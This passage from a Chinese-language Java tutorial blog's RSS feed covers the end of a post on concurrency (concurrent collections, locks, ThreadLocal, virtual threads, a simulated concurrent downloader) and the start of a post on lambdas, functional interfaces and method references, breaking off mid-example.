Map&amp;lt;String, Integer&amp;gt; map = new ConcurrentHashMap&amp;lt;&amp;gt;();
map.put(&quot;a&quot;, 1);
map.computeIfAbsent(&quot;b&quot;, k -&amp;gt; 2);
map.merge(&quot;a&quot;, 1, Integer::sum);         // 原子操作

// CopyOnWriteArrayList：读多写少
List&amp;lt;String&amp;gt; list = new CopyOnWriteArrayList&amp;lt;&amp;gt;();
list.add(&quot;a&quot;);
for (String s : list) { ... }            // 迭代不会抛 ConcurrentModificationException

// BlockingQueue：生产者消费者
BlockingQueue&amp;lt;String&amp;gt; queue = new LinkedBlockingQueue&amp;lt;&amp;gt;(100);
queue.put(&quot;item&quot;);                       // 队列满时阻塞
String item = queue.take();              // 队列空时阻塞
queue.offer(&quot;item&quot;, 5, TimeUnit.SECONDS); // 超时放弃
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：&lt;code&gt;ConcurrentHashMap&lt;/code&gt; 的&lt;strong&gt;单个方法&lt;/strong&gt;是线程安全的，但&lt;strong&gt;多个方法的组合&lt;/strong&gt;仍需要外部同步：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// ❌ 不是原子的
if (!map.containsKey(&quot;k&quot;)) {
    map.put(&quot;k&quot;, v);
}

// ✅ 用原子方法
map.putIfAbsent(&quot;k&quot;, v);
map.computeIfAbsent(&quot;k&quot;, key -&amp;gt; computeValue());
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Lock 与 ReentrantLock&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;synchronized&lt;/code&gt; 是 JVM 内置的锁，简单但功能有限。&lt;code&gt;java.util.concurrent.locks.Lock&lt;/code&gt; 接口提供了更强大的锁：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import java.util.concurrent.locks.ReentrantLock;

ReentrantLock lock = new ReentrantLock();

// 基本用法
lock.lock();
try {
    // 临界区
} finally {
    lock.unlock();     // 必须在 finally 里释放！
}

// 尝试加锁（非阻塞）
if (lock.tryLock()) {
    try { ... } finally { lock.unlock(); }
} else {
    // 没拿到锁
}

// 超时尝试
if (lock.tryLock(1, TimeUnit.SECONDS)) {
    try { ... } finally { lock.unlock(); }
}

// 公平锁：按等待顺序分配
ReentrantLock fairLock = new ReentrantLock(true);

// 可中断的加锁
lock.lockInterruptibly();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Lock vs synchronized&lt;/strong&gt;：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;维度&lt;/th&gt;
&lt;th&gt;&lt;code&gt;synchronized&lt;/code&gt;&lt;/th&gt;
&lt;th&gt;&lt;code&gt;Lock&lt;/code&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;释放&lt;/td&gt;
&lt;td&gt;自动（离开代码块）&lt;/td&gt;
&lt;td&gt;手动 &lt;code&gt;unlock()&lt;/code&gt;，必须在 &lt;code&gt;finally&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;中断响应&lt;/td&gt;
&lt;td&gt;不可中断&lt;/td&gt;
&lt;td&gt;&lt;code&gt;lockInterruptibly()&lt;/code&gt; 可中断&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;超时&lt;/td&gt;
&lt;td&gt;无&lt;/td&gt;
&lt;td&gt;&lt;code&gt;tryLock(timeout)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;公平性&lt;/td&gt;
&lt;td&gt;非公平&lt;/td&gt;
&lt;td&gt;可选公平/非公平&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;条件变量&lt;/td&gt;
&lt;td&gt;只有一个（&lt;code&gt;wait/notify&lt;/code&gt;）&lt;/td&gt;
&lt;td&gt;多个 &lt;code&gt;Condition&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;性能（现代 JVM）&lt;/td&gt;
&lt;td&gt;差不多&lt;/td&gt;
&lt;td&gt;差不多&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;结论&lt;/strong&gt;：&lt;strong&gt;日常首选 &lt;code&gt;synchronized&lt;/code&gt;&lt;/strong&gt;（简单、不会忘记释放）。只有需要超时、可中断、公平锁、多条件变量时才用 &lt;code&gt;Lock&lt;/code&gt;。&lt;/p&gt;
&lt;h3&gt;ReadWriteLock：读写锁&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;读多写少&lt;/strong&gt;的场景，允许多个读线程同时进入，写线程独占：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import java.util.concurrent.locks.ReadWriteLock;
import java.util.concurrent.locks.ReentrantReadWriteLock;

ReadWriteLock rwLock = new ReentrantReadWriteLock();

// 读操作
rwLock.readLock().lock();
try { return data; } finally { rwLock.readLock().unlock(); }

// 写操作
rwLock.writeLock().lock();
try { data = newValue; } finally { rwLock.writeLock().unlock(); }
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;ThreadLocal：线程局部变量&lt;/h2&gt;
&lt;p&gt;每个线程持有独立的副本，天然线程安全，常用于&lt;strong&gt;用户上下文&lt;/strong&gt;、&lt;strong&gt;日期格式化器&lt;/strong&gt;等场景：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class UserContext {
    private static final ThreadLocal&amp;lt;String&amp;gt; CURRENT_USER = new ThreadLocal&amp;lt;&amp;gt;();

    public static void set(String user) { CURRENT_USER.set(user); }
    public static String get() { return CURRENT_USER.get(); }
    public static void clear() { CURRENT_USER.remove(); }
}

// 使用
UserContext.set(&quot;Tom&quot;);
System.out.println(UserContext.get());   // &quot;Tom&quot;

// 线程池场景务必 clear，避免内存泄漏
try {
    UserContext.set(&quot;Tom&quot;);
    // 业务代码
} finally {
    UserContext.clear();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;常见用途&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;SimpleDateFormat&lt;/code&gt;（非线程安全）→ 用 &lt;code&gt;ThreadLocal&amp;lt;SimpleDateFormat&amp;gt;&lt;/code&gt; 或换 &lt;code&gt;DateTimeFormatter&lt;/code&gt;（线程安全）&lt;/li&gt;
&lt;li&gt;数据库连接、事务上下文&lt;/li&gt;
&lt;li&gt;请求作用域的用户信息&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;[!CAUTION]
ThreadLocal 在&lt;strong&gt;线程池&lt;/strong&gt;中特别容易内存泄漏：线程复用不会销毁，&lt;code&gt;ThreadLocal&lt;/code&gt; 里的值也不会释放。&lt;strong&gt;用完必须调用 &lt;code&gt;remove()&lt;/code&gt;&lt;/strong&gt;。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;虚拟线程（JDK 21+）&lt;/h2&gt;
&lt;p&gt;JDK 21 正式引入&lt;strong&gt;虚拟线程&lt;/strong&gt;（Virtual Threads，Project Loom），是 Java 并发的重大革新：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 传统平台线程：受 OS 限制，最多几千个
Thread t = new Thread(() -&amp;gt; work());

// 虚拟线程：轻量级，可以创建百万个
Thread vt = Thread.ofVirtual().start(() -&amp;gt; work());

// 用 ExecutorService 更方便
try (ExecutorService executor = Executors.newVirtualThreadPerTaskExecutor()) {
    for (int i = 0; i &amp;lt; 1_000_000; i++) {
        executor.submit(() -&amp;gt; {
            Thread.sleep(1000);
            return &quot;done&quot;;
        });
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;虚拟线程的意义&lt;/strong&gt;：写&quot;同步阻塞&quot;的代码，享受&quot;异步非阻塞&quot;的性能，简化高并发编程。&lt;strong&gt;IO 密集型应用的未来方向&lt;/strong&gt;。&lt;/p&gt;
&lt;h2&gt;综合小例子：并发下载器&lt;/h2&gt;
&lt;p&gt;把线程池、Future、并发集合、原子类串起来：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package com.example.downloader;

import java.util.*;
import java.util.concurrent.*;
import java.util.concurrent.atomic.AtomicInteger;

public class ConcurrentDownloader {
    private final ExecutorService executor;
    private final Map&amp;lt;String, byte[]&amp;gt; cache = new ConcurrentHashMap&amp;lt;&amp;gt;();
    private final AtomicInteger successCount = new AtomicInteger();
    private final AtomicInteger failureCount = new AtomicInteger();

    public ConcurrentDownloader(int poolSize) {
        this.executor = Executors.newFixedThreadPool(poolSize);
    }

    public void downloadAll(List&amp;lt;String&amp;gt; urls) throws InterruptedException {
        List&amp;lt;CompletableFuture&amp;lt;Void&amp;gt;&amp;gt; futures = urls.stream()
            .map(this::downloadAsync)
            .toList();

        // 等待全部完成
        CompletableFuture.allOf(futures.toArray(new CompletableFuture[0])).join();
    }

    private CompletableFuture&amp;lt;Void&amp;gt; downloadAsync(String url) {
        return CompletableFuture
            .supplyAsync(() -&amp;gt; fetch(url), executor)
            .thenAccept(data -&amp;gt; {
                if (data != null) {
                    cache.put(url, data);
                    successCount.incrementAndGet();
                    System.out.printf(&quot;[OK] %s (%d bytes)%n&quot;, url, data.length);
                } else {
                    failureCount.incrementAndGet();
                    System.out.printf(&quot;[FAIL] %s%n&quot;, url);
                }
            })
            .exceptionally(ex -&amp;gt; {
                failureCount.incrementAndGet();
                System.err.println(&quot;[ERROR] &quot; + url + &quot;: &quot; + ex.getMessage());
                return null;
            });
    }

    private byte[] fetch(String url) {
        // 模拟网络请求
        try {
            Thread.sleep(ThreadLocalRandom.current().nextInt(100, 500));
            if (url.contains(&quot;fail&quot;)) return null;
            return (&quot;data-of-&quot; + url).getBytes();
        } catch (InterruptedException e) {
            Thread.currentThread().interrupt();
            return null;
        }
    }

    public void shutdown() {
        executor.shutdown();
        try {
            if (!executor.awaitTermination(60, TimeUnit.SECONDS)) {
                executor.shutdownNow();
            }
        } catch (InterruptedException e) {
            executor.shutdownNow();
            Thread.currentThread().interrupt();
        }
    }

    public void printStats() {
        System.out.printf(&quot;成功: %d, 失败: %d, 缓存: %d%n&quot;,
            successCount.get(), failureCount.get(), cache.size());
    }

    public static void main(String[] args) throws Exception {
        List&amp;lt;String&amp;gt; urls = List.of(
            &quot;https://example.com/a&quot;,
            &quot;https://example.com/b&quot;,
            &quot;https://example.com/fail-1&quot;,
            &quot;https://example.com/c&quot;,
            &quot;https://example.com/d&quot;
        );

        ConcurrentDownloader downloader = new ConcurrentDownloader(4);
        try {
            long start = System.currentTimeMillis();
            downloader.downloadAll(urls);
            long elapsed = System.currentTimeMillis() - start;
            System.out.printf(&quot;总耗时：%dms%n&quot;, elapsed);
            downloader.printStats();
        } finally {
            downloader.shutdown();
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这段代码综合运用了：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;ExecutorService&lt;/code&gt; 线程池&lt;/strong&gt;（不用手动 &lt;code&gt;new Thread&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;CompletableFuture&lt;/code&gt;&lt;/strong&gt; 链式调用（&lt;code&gt;supplyAsync&lt;/code&gt; → &lt;code&gt;thenAccept&lt;/code&gt; → &lt;code&gt;exceptionally&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;ConcurrentHashMap&lt;/code&gt;&lt;/strong&gt; 线程安全缓存&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;AtomicInteger&lt;/code&gt;&lt;/strong&gt; 无锁计数器&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;优雅关闭&lt;/strong&gt;：&lt;code&gt;shutdown&lt;/code&gt; + &lt;code&gt;awaitTermination&lt;/code&gt; + &lt;code&gt;shutdownNow&lt;/code&gt; 三段式&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// 创建线程
Thread t = new Thread(() -&amp;gt; work());
t.start();

// Callable + Future
ExecutorService exec = Executors.newFixedThreadPool(10);
Future&amp;lt;Integer&amp;gt; f = exec.submit(() -&amp;gt; 42);
Integer r = f.get();
exec.shutdown();

// 线程安全：三选一
synchronized (lock) { count++; }        // 加锁
private volatile boolean running;       // 仅可见性
AtomicInteger count = new AtomicInteger();   // 无锁

// 死锁避免：固定加锁顺序 + tryLock 超时

// CompletableFuture（Java 版 Promise）
CompletableFuture.supplyAsync(() -&amp;gt; work())
    .thenApply(String::length)
    .thenAccept(System.out::println)
    .exceptionally(ex -&amp;gt; { log.error(&quot;&quot;, ex); return null; });

CompletableFuture.allOf(f1, f2).join();

// 并发集合
ConcurrentHashMap&amp;lt;K, V&amp;gt;       // 替代 HashMap
CopyOnWriteArrayList&amp;lt;E&amp;gt;       // 替代 ArrayList（读多写少）
LinkedBlockingQueue&amp;lt;E&amp;gt;        // 生产者-消费者

// Lock
ReentrantLock lock = new ReentrantLock();
lock.lock();
try { ... } finally { lock.unlock(); }

if (lock.tryLock(1, TimeUnit.SECONDS)) {
    try { ... } finally { lock.unlock(); }
}

// ThreadLocal（记得 remove）
ThreadLocal&amp;lt;User&amp;gt; ctx = new ThreadLocal&amp;lt;&amp;gt;();
try { ctx.set(user); ... } finally { ctx.remove(); }

// 虚拟线程（JDK 21+）
Thread.ofVirtual().start(() -&amp;gt; work());
Executors.newVirtualThreadPerTaskExecutor();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;记忆要点&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;生产代码永远用&lt;strong&gt;线程池&lt;/strong&gt;，不要 &lt;code&gt;new Thread()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;线程安全三选一：&lt;code&gt;synchronized&lt;/code&gt;（简单）/ &lt;code&gt;volatile&lt;/code&gt;（状态位）/ 原子类（低竞争计数）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;volatile&lt;/code&gt; 只保证&lt;strong&gt;可见性&lt;/strong&gt;，不保证原子性；&lt;code&gt;count++&lt;/code&gt; 用原子类或锁&lt;/li&gt;
&lt;li&gt;处理 &lt;code&gt;InterruptedException&lt;/code&gt; &lt;strong&gt;不要吞&lt;/strong&gt;，要么抛出要么 &lt;code&gt;Thread.currentThread().interrupt()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;死锁避免：固定加锁顺序、&lt;code&gt;tryLock&lt;/code&gt; 超时、减少锁粒度&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CompletableFuture&lt;/code&gt; = Java 版 &lt;code&gt;Promise&lt;/code&gt;，链式调用、组合、异常处理都有&lt;/li&gt;
&lt;li&gt;并发集合首选 &lt;code&gt;ConcurrentHashMap&lt;/code&gt;，读多写少用 &lt;code&gt;CopyOnWriteArrayList&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ThreadLocal&lt;/code&gt; 用完必须 &lt;code&gt;remove()&lt;/code&gt;，尤其在线程池里&lt;/li&gt;
&lt;li&gt;JDK 21 的&lt;strong&gt;虚拟线程&lt;/strong&gt;是未来方向，IO 密集型场景优先尝试&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;结语&lt;/h2&gt;
&lt;p&gt;到这里整个 Java 学习路线就走完了。回头看看这十一个阶段：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;一 ~ 四&lt;/strong&gt;：语法地基（环境、类型、流程、数组字符串）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;五 ~ 七&lt;/strong&gt;：OOP 三件套（类、继承多态、接口抽象类）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;八 ~ 十&lt;/strong&gt;：日常业务代码的核心工具（集合、异常泛型、Lambda Stream）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;十一&lt;/strong&gt;：并发入门&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;一个前端工程师从零到能写业务 Java 代码，走完这些大概需要 &lt;strong&gt;2~3 周&lt;/strong&gt;认真投入的时间。之后就是靠写项目、读源码、看《Effective Java》持续深化。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;接下来的方向&lt;/strong&gt;（不在这个系列里）：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;构建工具&lt;/strong&gt;：Maven / Gradle，项目结构与依赖管理&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;单元测试&lt;/strong&gt;：JUnit 5、Mockito、AssertJ&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;主流框架&lt;/strong&gt;：Spring Boot（后端）、Android（移动端）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;JVM 深入&lt;/strong&gt;：内存模型、GC、类加载、性能调优&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;JUC 深入&lt;/strong&gt;：&lt;code&gt;java.util.concurrent&lt;/code&gt; 剩余部分、AQS、锁优化&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;虚拟线程&lt;/strong&gt;：Project Loom 完整用法&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;祝学习顺利。有代码可跑，有笔记可查，就不算白学。&lt;/p&gt;
</content:encoded></item><item><title>Java 阶段十：Lambda 与 Stream API</title><link>http://117.72.32.87/blog/posts/java-roadmap-10-lambda-stream/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/java-roadmap-10-lambda-stream/</guid><description>函数式接口、Lambda、方法引用、Stream 三段式（source/intermediate/terminal）、Collectors、Optional、并行流，前端最容易上手的部分。</description><pubDate>Sat, 05 Sep 2026 01:00:00 GMT</pubDate><content:encoded>&lt;p&gt;前端工程师学 Java 最开心的一章来了。JDK 8 引入的 Lambda 和 Stream API 让 Java 有了跟 JS 数组方法几乎一一对应的能力：&lt;code&gt;map&lt;/code&gt;、&lt;code&gt;filter&lt;/code&gt;、&lt;code&gt;reduce&lt;/code&gt;、&lt;code&gt;forEach&lt;/code&gt; 全都有。这一篇把函数式编程在 Java 里的完整玩法过一遍。&lt;/p&gt;
&lt;h2&gt;从匿名内部类到 Lambda&lt;/h2&gt;
&lt;p&gt;在 JDK 8 之前，Java 想传&quot;一段代码&quot;给方法只能用匿名内部类，非常啰嗦：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// JDK 8 之前
Runnable r1 = new Runnable() {
    @Override
    public void run() {
        System.out.println(&quot;running&quot;);
    }
};

// JDK 8+ 用 Lambda
Runnable r2 = () -&amp;gt; System.out.println(&quot;running&quot;);

// 对比 JS
const r3 = () =&amp;gt; console.log(&quot;running&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Lambda 表达式&lt;/strong&gt;（Lambda Expression）本质是&quot;一段可以传递的代码&quot;，语法：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(参数列表) -&amp;gt; { 方法体 }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;跟 JS 箭头函数的对比：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;JavaScript&lt;/th&gt;
&lt;th&gt;Java&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;() =&amp;gt; console.log(&quot;hi&quot;)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;() -&amp;gt; System.out.println(&quot;hi&quot;)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;x =&amp;gt; x * 2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;x -&amp;gt; x * 2&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;(x, y) =&amp;gt; x + y&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;(x, y) -&amp;gt; x + y&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;(x, y) =&amp;gt; { return x + y; }&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;(x, y) -&amp;gt; { return x + y; }&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;async () =&amp;gt; { ... }&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;——（Java Lambda 不支持 async）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;主要差异&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Java 用 &lt;code&gt;-&amp;gt;&lt;/code&gt;，JS 用 &lt;code&gt;=&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Java Lambda 的参数类型可以显式声明：&lt;code&gt;(int x, int y) -&amp;gt; x + y&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Java Lambda 只能实现&lt;strong&gt;函数式接口&lt;/strong&gt;（只有一个抽象方法的接口），不是&quot;任意函数&quot;&lt;/li&gt;
&lt;li&gt;Java Lambda 里的变量捕获是&lt;strong&gt;只读的&lt;/strong&gt;（ effectively final），不能修改外层变量&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;函数式接口&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;函数式接口&lt;/strong&gt;（Functional Interface）是只有一个抽象方法的接口，Lambda 表达式的类型就是它：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@FunctionalInterface
public interface MyFunction {
    void apply();          // 唯一的抽象方法
    // 可以有默认方法、静态方法
    default void log() { System.out.println(&quot;logged&quot;); }
}

MyFunction f = () -&amp;gt; System.out.println(&quot;hi&quot;);
f.apply();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;@FunctionalInterface&lt;/code&gt; 注解是&lt;strong&gt;可选的&lt;/strong&gt;，加了之后编译器会检查是否只有一个抽象方法。&lt;/p&gt;
&lt;p&gt;Java 标准库预定义了 40+ 个常用函数式接口，位于 &lt;code&gt;java.util.function&lt;/code&gt; 包，其中最重要的四个：&lt;/p&gt;
&lt;h3&gt;四大内置函数式接口&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;接口&lt;/th&gt;
&lt;th&gt;抽象方法&lt;/th&gt;
&lt;th&gt;语义&lt;/th&gt;
&lt;th&gt;JS 对应&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Function&amp;lt;T, R&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;R apply(T t)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;输入 T 输出 R&lt;/td&gt;
&lt;td&gt;&lt;code&gt;x =&amp;gt; y&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Predicate&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;boolean test(T t)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;输入 T 输出 boolean&lt;/td&gt;
&lt;td&gt;&lt;code&gt;x =&amp;gt; true/false&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Consumer&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;void accept(T t)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;输入 T 无输出&lt;/td&gt;
&lt;td&gt;&lt;code&gt;x =&amp;gt; { ... }&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Supplier&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;T get()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;无输入输出 T&lt;/td&gt;
&lt;td&gt;&lt;code&gt;() =&amp;gt; x&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;import java.util.function.*;

// Function：转换
Function&amp;lt;String, Integer&amp;gt; strLen = s -&amp;gt; s.length();
strLen.apply(&quot;hello&quot;);      // 5

// Predicate：判断
Predicate&amp;lt;Integer&amp;gt; isEven = n -&amp;gt; n % 2 == 0;
isEven.test(4);             // true

// Consumer：消费
Consumer&amp;lt;String&amp;gt; printer = s -&amp;gt; System.out.println(s);
printer.accept(&quot;hi&quot;);       // 打印 hi

// Supplier：生产
Supplier&amp;lt;Double&amp;gt; random = () -&amp;gt; Math.random();
random.get();               // 0.xxx

// 基本类型特化版本（避免装箱开销）
IntFunction&amp;lt;String&amp;gt; numToStr = n -&amp;gt; &quot;num:&quot; + n;
ToIntFunction&amp;lt;String&amp;gt; strToNum = s -&amp;gt; s.length();
IntPredicate isPositive = n -&amp;gt; n &amp;gt; 0;
IntConsumer print = System.out::println;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;函数式接口的组合&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Function&amp;lt;Integer, Integer&amp;gt; plus1 = x -&amp;gt; x + 1;
Function&amp;lt;Integer, Integer&amp;gt; times2 = x -&amp;gt; x * 2;

plus1.andThen(times2).apply(5);    // (5+1)*2 = 12
plus1.compose(times2).apply(5);    // (5*2)+1 = 11

Predicate&amp;lt;Integer&amp;gt; positive = n -&amp;gt; n &amp;gt; 0;
Predicate&amp;lt;Integer&amp;gt; even = n -&amp;gt; n % 2 == 0;

positive.and(even).test(4);        // true
positive.or(even).test(-3);        // false
positive.negate().test(-1);        // true

Consumer&amp;lt;String&amp;gt; print = System.out::println;
Consumer&amp;lt;String&amp;gt; log = s -&amp;gt; System.out.println(&quot;[LOG] &quot; + s);
print.andThen(log).accept(&quot;hi&quot;);   // 先打印再打日志
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Lambda 的变量捕获&lt;/h2&gt;
&lt;p&gt;Lambda 里可以引用外层作用域的变量，但&lt;strong&gt;必须是 final 或 effectively final&lt;/strong&gt;（事实上不可变）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public void method() {
    int base = 10;                      // effectively final
    Function&amp;lt;Integer, Integer&amp;gt; add = x -&amp;gt; x + base;
    add.apply(5);                       // 15

    // ❌ 修改 base 后 Lambda 就不能引用了
    // base = 20;                        // 编译报错
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对比 JS：JS 的闭包可以修改外层变量，Java 不行。这个限制是为了并发安全和语义清晰。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;变通&lt;/strong&gt;：如果确实要&quot;修改&quot;，用数组或 &lt;code&gt;AtomicInteger&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int[] counter = {0};
list.forEach(x -&amp;gt; counter[0]++);         // 修改数组元素不算改引用

AtomicInteger total = new AtomicInteger();
list.forEach(x -&amp;gt; total.addAndGet(x));
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;方法引用（Method Reference）&lt;/h2&gt;
&lt;p&gt;当 Lambda 只是&lt;strong&gt;调用一个已有方法&lt;/strong&gt;时，可以用 &lt;code&gt;::&lt;/code&gt; 简写：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 四种形式

// 1. 静态方法：ClassName::staticMethod
Function&amp;lt;String, Integer&amp;gt; f1 = Integer::parseInt;   // s -&amp;gt; Integer.parseInt(s)

// 2. 特定对象的实例方法：instance::method
String prefix = &quot;LOG: &quot;;
Consumer&amp;lt;String&amp;gt; c1 = prefix::concat;               // s -&amp;gt; prefix.concat(s)

// 3. 任意对象的实例方法：ClassName::method
Function&amp;lt;String, Integer&amp;gt; f2 = String::length;      // s -&amp;gt; s.length()
Consumer&amp;lt;String&amp;gt; c2 = System.out::println;          // s -&amp;gt; System.out.println(s)

// 4. 构造器：ClassName::new
Supplier&amp;lt;ArrayList&amp;lt;String&amp;gt;&amp;gt; s1 = ArrayList::new;    // () -&amp;gt; new ArrayList&amp;lt;&amp;gt;()
Function&amp;lt;String, String&amp;gt; f3 = String::new;          // s -&amp;gt; new String(s)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;方法引用是 Lambda 的语法糖&lt;/strong&gt;，读起来更简洁：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Lambda
list.forEach(x -&amp;gt; System.out.println(x));
// 方法引用
list.forEach(System.out::println);

// Lambda
list.sort((a, b) -&amp;gt; a.compareTo(b));
// 方法引用
list.sort(Comparable::compareTo);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Stream API&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Stream&lt;/strong&gt;（流）是 Java 8 引入的&lt;strong&gt;声明式数据处理管道&lt;/strong&gt;，跟 JS 的数组方法链式调用非常像：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// JS 风格
const result = users
    .filter(u =&amp;gt; u.age &amp;gt;= 18)
    .map(u =&amp;gt; u.name)
    .sort()
    .slice(0, 10);

// Java Stream 风格
